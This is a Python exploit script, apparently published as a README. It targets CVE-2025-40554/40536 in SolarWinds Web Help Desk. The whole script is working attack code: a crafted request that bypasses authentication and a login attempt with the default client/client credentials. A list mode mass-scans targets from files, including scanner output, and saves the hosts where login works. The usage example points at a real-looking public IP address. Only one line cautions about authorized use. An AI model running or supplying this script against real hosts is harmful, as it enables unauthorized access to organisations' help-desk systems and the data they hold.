README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-40554 / CVE-2025-40536 - SolarWinds Web Help Desk auth bypass + login PoC.
Single script: -t single target, -l target list. Auth bypass then client/client login.
Saves vulnerable+login only (default: vulnerable_login.txt). Use only on authorized systems.
"""
import argparse
import re
import sys
import urllib.parse
from typing import List, Optional, Tuple
import requests
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
pass
VERIFY_SSL = False
TIMEOUT = 12
def normalize_base_url(url: str) -> str:
parsed = urllib.parse.urlparse(url)
base = f"{parsed.scheme or 'https'}://{parsed.netloc}"
return base.rstrip("/")
def get_session(base_url: str) -> Tuple[requests.Session, Optional[str], Optional[str]]:
session = requests.Session()
session.verify = VERIFY_SSL
session.headers.update({
"User-Agent": "Mozilla/5.0 (compatible; CVE-2025-40554-PoC/1.0)",
"X-Webobjects-Recording": "1",
})
url = f"{base_url}/helpdesk/WebObjects/Helpdesk.woa"
try:
r = session.get(url, timeout=TIMEOUT, allow_redirects=True)
except requests.RequestException:
return session, None, None
if r.status_code != 200:
return session, None, None
wosid = None
for h, v in r.headers.items():
if h.lower() == "x-webobjects-session-id":
m = re.match(r"([a-zA-Z0-9]{22})", v.strip())
if m:
wosid = m.group(1)
break
if not wosid:
wosid = session.cookies.get("wosid")
if wosid:
m = re.match(r"^([a-zA-Z0-9]{22})$", wosid)
wosid = m.group(1) if m else None
if not wosid:
m = re.search(r"[xX]-[wW]eb[oO]bjects-[sS]ession-[iI]d:\s*([a-zA-Z0-9]{22})", r.text)
if m:
wosid = m.group(1)
if not wosid and "Set-Cookie" in str(r.headers):
m = re.search(r"[wW]osid=([a-zA-Z0-9]{22})", str(r.headers.get("Set-Cookie", "")))
if m:
wosid = m.group(1)
xsrf = session.cookies.get("XSRF-TOKEN") or session.cookies.get("xsrf-token")
if not xsrf and "Set-Cookie" in str(r.headers.get("Set-Cookie", "")):
m = re.search(r"XSRF-TOKEN=([a-z0-9-]+)", str(r.headers.get("Set-Cookie", "")), re.I)
if m:
xsrf = m.group(1)
return session, wosid, xsrf
def check_bypass(base_url: str, session: requests.Session, wosid: str, xsrf: Optional[str]) -> bool:
path = f"/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{wosid}/1.0"
params = {"badparam": "/ajax/", "wopage": "LoginPref"}
headers = {}
if xsrf:
headers["X-Xsrf-Token"] = xsrf
try:
r = session.get(f"{base_url}{path}", params=params, timeout=TIMEOUT, headers=headers or None)
except requests.RequestException:
return False
if r.status_code != 200:
return False
indicators = ("externalAuthContainer", "JSONRpcClient", "SAML 2.0", "LoginPref")
return any(i in r.text for i in indicators)
def parse_login_form(html: str, base_url: str) -> Optional[dict]:
m = re.search(r'action="(/helpdesk/WebObjects/Helpdesk\.woa/wo/[^"]+)"', html)
if not m:
return None
action_path = m.group(1)
m = re.search(r'name="_csrf"[^>]*value="([^"]+)"', html)
csrf = m.group(1) if m else None
m = re.search(r'MDSSubmitLink([0-9.]+)', html)
submit_id = m.group(1) if m else None
if not action_path or not csrf or not submit_id:
return None
return {"action_url": base_url + action_path, "_csrf": csrf, "submit_id": submit_id}
def check_login(base_url: str, session: requests.Session, xsrf: Optional[str], user: str = "client", password: str = "client") -> bool:
url = f"{base_url}/helpdesk/WebObjects/Helpdesk.woa"
try:
r = session.get(url, timeout=TIMEOUT, allow_redirects=True)
except requests.RequestException:
return False
if r.status_code != 200:
return False
form = parse_login_form(r.text, base_url)
if not form:
return False
data = {
"userName": user,
"password": password,
"_csrf": form["_csrf"],
"MDSForm__EnterKeyPressed": "0",
"MDSForm__ShiftKeyPressed": "0",
"MDSForm__AltKeyPressed": "0",
form["submit_id"]: form["submit_id"],
}
headers = {}
if xsrf:
headers["X-Xsrf-Token"] = xsrf
try:
post = session.post(form["action_url"], data=data, headers=headers or None, timeout=TIMEOUT, allow_redirects=True)
except requests.RequestException:
return False
if post.status_code in (302, 303, 307):
return True
if "loginForm" not in post.text:
return True
if post.cookies.get("whdauth_helpdesk"):
return True
return False
def extract_base_url_from_line(line: str) -> Optional[str]:
line = line.strip()
if not line or line.startswith("#"):
return None
m = re.search(r"(https?://[^\s/\"]+(?::\d+)?)", line)
return m.group(1).rstrip("/") if m else None
def run_one(base_url: str, do_login: bool, quiet: bool = False) -> Tuple[bool, bool]:
"""Run bypass + optional login. Returns (vulnerable, login_ok)."""
base_url = normalize_base_url(base_url)
if not quiet:
print(f"[*] Target: {base_url}")
print("[*] Getting session...")
session, wosid, xsrf = get_session(base_url)
if not wosid:
if not quiet:
print("[!] No session (wosid). Target may not be WHD or patched.")
return False, False
if not quiet:
print("[*] Checking auth bypass...")
if not check_bypass(base_url, session, wosid, xsrf):
if not quiet:
print("[!] Not vulnerable (bypass failed).")
return False, False
if not quiet:
print("[+] Auth bypass confirmed.")
if not do_login:
return True, False
if not quiet:
print("[*] Trying login (client/client)...")
login_ok = check_login(base_url, session, xsrf)
if not quiet:
print("[+] Login OK" if login_ok else "[!] Login failed")
return True, login_ok
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-40554: auth bypass + login PoC. Single script for -t / -l. Saves vulnerable+login only.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t https://203.106.221.203:8443
%(prog)s -t https://target:8443 --no-login
%(prog)s -l result_all.txt
%(prog)s -l targets.txt -o vulnerable_login.txt
""" % {"prog": "exploit_auth_bypass.py"},
)
g = parser.add_mutually_exclusive_group(required=True)
g.add_argument("-t", "--target", metavar="URL", help="Single target URL")
g.add_argument("-l", "--list", metavar="FILE", dest="list_file", help="Target list (one URL or Nuclei-style line per line)")
parser.add_argument("--no-login", action="store_true", help="Bypass only, skip client/client login")
parser.add_argument("-o", "--output", metavar="FILE", default="vulnerable_login.txt", help="Output file for vulnerable+login URLs (default: vulnerable_login.txt)")
parser.add_argument("-q", "--quiet", action="store_true", help="Quiet (with -l: print only login-OK URLs)")
args = parser.parse_args()
do_login = not args.no_login
if args.target:
base_url = normalize_base_url(args.target)
vuln, ok = run_one(base_url, do_login, quiet=False)
sys.exit(0 if vuln else 5)
# -l list
try:
lines = open(args.list_file).readlines()
except FileNotFoundError:
print(f"[!] File not found: {args.list_file}")
sys.exit(1)
urls: List[str] = []
seen = set()
for line in lines:
base = extract_base_url_from_line(line)
if base and base not in seen:
seen.add(base)
urls.append(base)
if not urls:
print("[!] No valid URLs in list.")
sys.exit(1)
if not args.quiet:
print(f"[*] Loaded {len(urls)} targets from {args.list_file}")
if do_login:
print("[*] Bypass + login (client/client). Saving vulnerable+login only.")
else:
print("[*] Bypass only.")
login_ok_list: List[str] = []
vulnerable_list: List[str] = []
for i, base_url in enumerate(urls, 1):
if not args.quiet:
print(f"[{i}/{len(urls)}] {base_url} ... ", end="", flush=True)
try:
vuln, ok = run_one(base_url, do_login, quiet=True)
if vuln:
vulnerable_list.append(base_url)
if ok:
login_ok_list.append(base_url)
if not args.quiet:
print("[vulnerable] [login OK]")
else:
print(base_url)
else:
if not args.quiet:
print("[vulnerable]")
else:
if not args.quiet:
print("[no]")
except Exception:
if not args.quiet:
print("[error]")
if not args.quiet:
print()
print(f"Total: {len(vulnerable_list)} vulnerable, {len(login_ok_list)} with login OK")
if do_login and login_ok_list:
with open(args.output, "w") as f:
for u in login_ok_list:
f.write(u + "\n")
if not args.quiet:
print(f"Saved: {args.output} ({len(login_ok_list)} URLs)")
elif not do_login and vulnerable_list:
with open(args.output, "w") as f:
for u in vulnerable_list:
f.write(u + "\n")
if not args.quiet:
print(f"Saved: {args.output} ({len(vulnerable_list)} vulnerable)")
sys.exit(0 if login_ok_list or vulnerable_list else 5)
if __name__ == "__main__":
main()